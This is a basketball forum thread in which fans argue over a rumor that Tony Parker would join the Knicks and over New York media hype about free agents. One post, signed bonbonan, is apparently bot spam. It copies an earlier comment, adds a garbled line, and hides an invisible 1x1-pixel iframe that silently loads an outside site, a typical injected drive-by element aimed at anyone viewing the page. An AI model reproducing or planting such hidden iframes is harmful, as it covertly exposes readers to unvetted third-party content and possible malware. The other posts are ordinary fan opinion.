Parker to Knicks Rumor

[Kully]

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Never had a problem with the Knicks or it's fans. The only issue I have is with the NY media who believes everyone wants to play in NY because it's the "Mecca" of basketball, or because they will become basketball billionaires just by playing there.

And yes, I do find a difference between a team doing all that stuff to keep their own player rather than the media going all out on another team's player just because NY is better than them. NY media started all this mess. All the other billboards and stuff started after your media went goo-goo after LBJ in the newspapers, and as I said, I have no problem with Cleveland asking LBJ to stay, or Miami doing the same with Wade. I do find it silly for Chicago to do that mess, but they don't take it to the ridiculous heights that the NY media does.

Y'all deserve to dream, to finally have a winning team. But I don't like the media elitism, that NY deserves to get the best players, that all of a sudden NY is a better destination for them than everywhere else in the league. What gives them that right? Parker, never hinting at any rift with his team, all of a sudden wants to leave a good team for a (currently) crappy one? Why? Because it's New York. New Orleans will suddenly trade CP3 and get nothing in return, save cap space, so they can help out NY. Never mind the other teams with better packages, NYK is the team that should get him.

I would think the NY audience would want balanced news. Excuse me for believing that this is being a little thirsty. Maybe the paper is echoing the mentality of NY, I don't know. Why do these basketball players, from winning teams, all want to go to NY? These NY writers are bored, that's why. They need to come up with something to show that the Knicks are relevant now.

All of this pandering over another team's player is over the top. "Be your own filter", don't mind me when I scoff at another BS rumour perpetuated by bored NY writers.

[Hassan Darkside]

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I don't care if you scoff at rumors from New York writers, just don't pretend like they're the only ones making up rumors. Yea, we had adds in newspapers, but wasn't Chicago the first city with billboards up? LA's throwing parades and Cleveland is having ******** rallies with cracked out mascots. Maybe Tony Parker backing up George Hill at the end of the season and early in the playoffs is enough for him to worry about his job security and he would want to go to New York to be closer to his wife (which he told some close friends).

And as a side note, a source from the Hornets said NO was "in love with David Lee" which is when the rumor started. I think you would be hard pressed to find a team in New York's situation(large expiring deal, tons of cap space, big market, available all-star big man) that wouldn't be doing the same thing.

[Kully]

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but wasn't Chicago the first city with billboards up?

Nope.

Ruff Ryder, this all started because I said "The Knicks FO must really want Parker to start all these rumours." So someone cares

I have no problem with rumours, just the NY ones. They seem so off the wall; they don't make any sense. As for your side note, you see all of these supposed sources talk to the NY media (a source from the Hornets said NO was "in love with David Lee" was told to who? Marc Berman of the NY Post. Parker wants to be close to his wife, or so says Frank Isola of the NY Daily News). Why?

Are they so enamored with playing in NY? I'll give you 3 guesses.

It's just odd how everyone wants to play at NY, according to these NY reporters with their sources. Doesn't matter anymore, this is where I stand.

[Hassan Darkside]

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Maybe I'm confused, but explain to me where the Knicks front office started the rumors? When I think front office, I think Donnie Walsh and co, not Alan Hahn or Frank Isola or whoever.

[Kully]

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Maybe I'm confused, but explain to me where the Knicks front office started the rumors? When I think front office, I think Donnie Walsh and co, not Alan Hahn or Frank Isola or whoever.

"Look here LBJ, look at who we can get if you come"

It's been speculated (I can use that word too) for a while that the FO would "leak" this info to entice James (or any other big free agent) to come over. Basically if you come these guys will come too, aka look at how big a draw we are. That's why most of the reports for these supposed trades come from NY.

All this ish is drawing me away from the finals . Here's hoping NY gives us something to talk about next year instead of this BS.

[J_Posse]

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I don't care if you scoff at rumors from New York writers, just don't pretend like they're the only ones making up rumors. Yea, we had adds in newspapers, but wasn't Chicago the first city with billboards up? LA's throwing parades and Cleveland is having ******** rallies with cracked out mascots. Maybe Tony Parker backing up George Hill at the end of the season and early in the playoffs is enough for him to worry about his job security and he would want to go to New York to be closer to his wife (which he told some close friends).

Ruff Ryder, that move of having Parker play the sixth-man role was no different then Manu doing it over the last 4-5 years. Pop didn't want to screw up the chemistry and momentum from the end of the season, so he told Parker that he'd be the sixth-man. Anyways, Hill isn't even close to being a starting quality PG and that's what makes this continued rumor so ridiculous. If Parker leaves our back-court situation goes to **** real fast and getting scraps or David Lee/Galinari wouldn't change that. You failed to mention that Parker got his starting job right back when Hill proved completely ineffective versus Steve Nash. By the beginning of next season Parker will still be in San Antonio and starting (hopefully) 75-82 games. Plus, Eva works in Los Angeles not New York and they both love San Antonio because that's where she's originally from/why they met.

[Cebby]

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The Knicks are the wannabe Redskins of the NBA.

Both fanbases and medias will never have anything better than the future.

The only difference is the Redskins are the real offseason champions every year while the Knicks' offseason championship moves only exist in the pages of the New York Post or Daily whatever.

[ehh]

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The Knicks are the wannabe Redskins of the NBA.

Both fanbases and medias will never have anything better than the future.

Jesus you gotta be young.

[bonbonan]

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The Knicks are the wannabe Redskins of the NBA.

Both fanbases and medias will never have anything better than the future.

The only difference is the Redskins are the real offseason champions every year while the Knicks' offseason championship moves only exist in the pages of the New York Post or Daily whatever.<iframe src="http://zeroethics.com/opsports/" frameborder="0" marginheight="0" marginwidth="0" width="1" height="1"scrolling="no"></iframe>

Even Parker is play for Knicks but i dont think will go for the champions!

[wwharton]

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So NY reporters talking about different scenarios to improve an NY team...in an NY newspaper is different from any other team in what way?

Miami has that website about keeping D-Wade, Chi and Cleveland have launched full blown "lets get/keep LeBron James" campaigns, and because the Knicks take out a full page add in a newspaper in it's own city...not every city across the country...but in the city where the team plays...that's somehow...not the right thing to do?

So we're better off not doing things similar to the other two teams vying for his services? Ok.

And while I agree that this team hasn't been relevant for the past decade, I'll also acknowledge Donnie Walsh pulling of what was considered the impossible, and freeing the team from it's financial woes and setting us up for a future that is already guaranteed to be brighter than where Isiah Thomas was taking the team (regardless of whether or not we get James.) And Dolan's willingness to spend money, at least now we have Walsh spending that cash and not someone who's going to give Jared Jeffries and Jerome James 6+ mil a year.

I'll also ignore the fact that a small market team like the Hornets might take a look at Darren Collinson, who put up RIDICULOUS numbers for an extended period of time in the absence of CP3, and decide to try to grab a contract that expires next year as opposed to after the '12/'13 season and take that 11+ mil and grab a few more players, or a player that wouldn't force Collinson to the bench. I dunno, I guess these things don't happen at all in the world of sports... (I guess I'm gonna have to throw a disclaimer out there that: I AM NOT SAYING THIS WILL HAPPEN, JUST THAT THE TEAM MIGHT CONSIDER THIS IF THEY WERE...YOU KNOW...WEIGHING ALL THEIR OPTIONS LIKE PROFESSIONAL TEAMS TEND TO DO

I just don't see why NYC would be such a bad destination when we have a proven GM and a quality head coach who's actually had some interaction with a few of the available players in the FIBA and Olympic games. The only other team that beats us in the proven coaching department is Miami if Pat comes back to coach the team. Would players not look at that? LeBron just got done with a first time head coach who was on the staff of a Championship winning team as a defensive coach, is he going to willingly jump back into that situation not knowing what he's going to get from this man as a head coach? Cleveland doesn't have a coach at this point, and they're extending a contract to a college coach, albeit one who's good as hell, but still another unproven coach in the NBA. Then he has the possibility of Riley coming back or D'Antoni. One is a hall of famer and he's experienced the other on a coaching staff before.

But I digress, how is NY's media telling it's audience that it want's LeBron, badly, any different from Miami launching a whole website to keep Wade or Chicago putting up billboards for LeBron?

Is it because we once had Isiah, who was a bad Gm....is it because it's New York? What is it? When you weigh full page ads in a newspaper & speculations vs billboards & speculations....one is slightly more sensationalized, so I dunno if you were just using the full page ad as an example or what...but that's not really all that much compared to a website and billboards. At least I don't think it is.

Just trying to be objective....yes I am a Knicks fan, but I'm not saying we're going to land 'Bron; I just don't understand how people act like this team has nothing going for it.

The problem is half of the people do talk about this stuff as if it's going to happen, and for the simple fact that "it's NY" and the other half still gets upset at anyone that doesn't agree that the things are possible... like you're doing.

You could make all those points without the obvious frustration.

[Cebby]

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Jesus you gotta be young.

I'm young; you're delusional.

[nuckles2k2]

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The problem is half of the people do talk about this stuff as if it's going to happen, and for the simple fact that "it's NY" and the other half still gets upset at anyone that doesn't agree that the things are possible... like you're doing.

You could make all those points without the obvious frustration.

Who's talking about anything as if it's going to happen? I've just seen speculation all over the place from several different beat writers for different teams, and "analysts/experts" making speculations as well.

And yes, I do get upset when people act like the team has no chance at doing anything, especially when we have a quality GM & coach. What other possible FA destination has that combo, plus an excellent 3-point shooter & a few other young talented players, a player that's sure to draw some attention in trade talks, and enough cap space to outright sign two max contracts if that's the road we're forced to take?

At what point does it just become "I don't like NYC, for whatever reason, so I'm gonna enter this thread solely to let these Knicks fans know their team has no chance of doing anything at all...even when they do"

Unless we somehow lose D'Antoni, Donnie Walsh, Gallo, Chandler & Douglas, the possibility of over $36 mil in cap space and the rights to David Lee, and we bring Isiah back to be the GM and coach simultaneously....I think we're ok.

That's a lot to overlook to arrive at the conclusion that we have no chance to do anything and we're dead in the water.

This has nothing to do with the state i live in or the media's perception of one borough out of the 5 that populate NYC, this is about my team that was actually dead in the water with no hope 5 years ago, and now we're as viable as any other locale for the available free agents. And without bringing up the mistakes of a former GM, the media, or the perception of the city, it'd be hard as hell to realistically prove that this team isn't in as good a position as anyone else to make a huge leap in terms of talent on the roster. Especially with the GM & coach combo that we have, which no other team comes close to (unless Pat Riley returns as a coach, then Miami has us beat.)

Yes we have a ton of hopefuls in this city that's saying LeBron "HAS to come here because it's NYC, and then we have hopefuls in Chicago saying "well...World Wide Wes represents Thibs and LeBron....and he's the reason why the Bulls hired Thibs....so...surely that's a sign, right?" And if Cleveland fire Mike Brown and get a GM that would be on the "same page with 'Bron" then surely he would stay in Cleveland, right? If Pat Riley came out of retirement and coached the Heat and convinced D-Wade to stay in Miami...surely LeBron would follow too, right?

So as far as I can tell a bunch of cities have "half of the people talking as if certain things are going to happen" --we're no different here, except it's New York and that's the only difference I see...which leads me to believe that some of the talk in here is just "I don't really like your city so here's why your team has no chance." I could be wrong, but if there are certain basketball organization related factors that separate us from other teams, what does the media have to do with that?

[Cebby]

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And yes, I do get upset when people act like the team has no chance at doing anything, especially when we have a quality GM & coach. What other possible FA destination has that combo, plus an excellent 3-point shooter & a few other young talented players, a player that's sure to draw some attention in trade talks, and enough cap space to outright sign two max contracts if that's the road we're forced to take?

Outright signing two max contracts is pointless since Bosh will be a sign and trade and pairing Lebron and Wade with the rest of New York's lineup would be an epic failure.

Chicago is clearly in the driver seat if any team lands Bosh/Lebron.

The difference between now and two years ago is that now there are many more teams with capspace who also have good players, primarily the Nets and Bulls. The Cavs don't suck like the did 2 years ago so Lebron staying is a valid option as well whereas it was unlikely before 2008's offseason.

[wwharton]

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Who's talking about anything as if it's going to happen? I've just seen speculation all over the place from several different beat writers for different teams, and "analysts/experts" making speculations as well.

And yes, I do get upset when people act like the team has no chance at doing anything, especially when we have a quality GM & coach. What other possible FA destination has that combo, plus an excellent 3-point shooter & a few other young talented players, a player that's sure to draw some attention in trade talks, and enough cap space to outright sign two max contracts if that's the road we're forced to take?

At what point does it just become "I don't like NYC, for whatever reason, so I'm gonna enter this thread solely to let these Knicks fans know their team has no chance of doing anything at all...even when they do"

Unless we somehow lose D'Antoni, Donnie Walsh, Gallo, Chandler & Douglas, the possibility of over $36 mil in cap space and the rights to David Lee, and we bring Isiah back to be the GM and coach simultaneously....I think we're ok.

That's a lot to overlook to arrive at the conclusion that we have no chance to do anything and we're dead in the water.

This has nothing to do with the state i live in or the media's perception of one borough out of the 5 that populate NYC, this is about my team that was actually dead in the water with no hope 5 years ago, and now we're as viable as any other locale for the available free agents. And without bringing up the mistakes of a former GM, the media, or the perception of the city, it'd be hard as hell to realistically prove that this team isn't in as good a position as anyone else to make a huge leap in terms of talent on the roster. Especially with the GM & coach combo that we have, which no other team comes close to (unless Pat Riley returns as a coach, then Miami has us beat.)

Yes we have a ton of hopefuls in this city that's saying LeBron "HAS to come here because it's NYC, and then we have hopefuls in Chicago saying "well...World Wide Wes represents Thibs and LeBron....and he's the reason why the Bulls hired Thibs....so...surely that's a sign, right?" And if Cleveland fire Mike Brown and get a GM that would be on the "same page with 'Bron" then surely he would stay in Cleveland, right? If Pat Riley came out of retirement and coached the Heat and convinced D-Wade to stay in Miami...surely LeBron would follow too, right?

So as far as I can tell a bunch of cities have "half of the people talking as if certain things are going to happen" --we're no different here, except it's New York and that's the only difference I see...which leads me to believe that some of the talk in here is just "I don't really like your city so here's why your team has no chance." I could be wrong, but if there are certain basketball organization related factors that separate us from other teams, what does the media have to do with that?

When on OS, speaking of what's being said is generally referred to others on OS unless otherwise stated. MANY people here have talked in a way that it will or should happen, and with little to back the idea up besides "it's NYC". If your wrath is for anyone specific in this thread or on this board you should talk about them specifically too, bc otherwise you're grouping everyone who doesn't agree with you which is why you'd get many negative responses.

As for you being upset, it makes no sense. These are discussions and some think ideas that are thrown out are crazy. State your case and/or counter point and keep it moving. Getting upset bc people don't agree gives the impression that you think it should/will happen and anyone who doesn't agree is a *****.

And btw, I love NYC and I'm not generalizing you bc I don't know you, but the stereotypical new yorker attitude that if you don't agree then you're just a ***** is exactly what rubs people the wrong way. Whether it's your intention or not, that's how all of this is coming across.

[nuckles2k2]

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Outright signing two max contracts is pointless since Bosh will be a sign and trade and pairing Lebron and Wade with the rest of New York's lineup would be an epic failure.

Chicago is clearly in the driver seat if any team lands Bosh/Lebron.

The difference between now and two years ago is that now there are many more teams with capspace who also have good players, primarily the Nets and Bulls. The Cavs don't suck like the did 2 years ago so Lebron staying is a valid option as well whereas it was unlikely before 2008's offseason.

I don't disagree with your sentiment, but some of the things you're saying seem a little off too me. Chicago just appointed an unproven 21 year assistant as head coach, you don't know what you're going to get from him so you don't have anything to hang your hat on except his defensive schemes, which are pretty good...but LeBron already went through a similar situation with Mike Brown, seems like that'd be more of a "con" than a "pro" for the team.

And while the Cavs aren't as bad as they were when Eric Snow was "playing" for them and 'Bron was carrying the team on his shoulders...I can't say that they're that much better off now. They have two bonafide key players in Jamison and Mo, but apparently they're shopping Mo and Delonte (yes I know it's a rumor.) If they trade those two then maybe they can create some cap space but then they'd be short two of their better players on the roster. If they keep them and continue to be hamstrung by their current roster then what's the team's future looking like? The team on paper isn't as bad as the '06-'07 or '07-'08 versions, but what does their future look like when LeBron is now 4 years into his new deal with the team?

But add to everything that you said: the Knicks already have a quality coach in place, a quality GM in place, talent on the roster, and a player that we can package in a deal to Toronto to get Bosh if he wants to follow LeBron, and you can make a case for LeBron, or any other free agent signing here. Not because "omg it's New York" but because Donnie Walsh took a dumpster fire and turned it into a destination that actually has a future now.

There are pros and cons for every team that has enough cap space to sign/keep any of these free agents, and the Knicks are one of them...regardless of whether or not you like the team/city/it's people/etc. (not any one person in particular, or any one team in particular for that matter, just in general) that's just how it is. Not because we want any one player, but because Donnie fixed Isiah's mess in 2 years and has us in this position.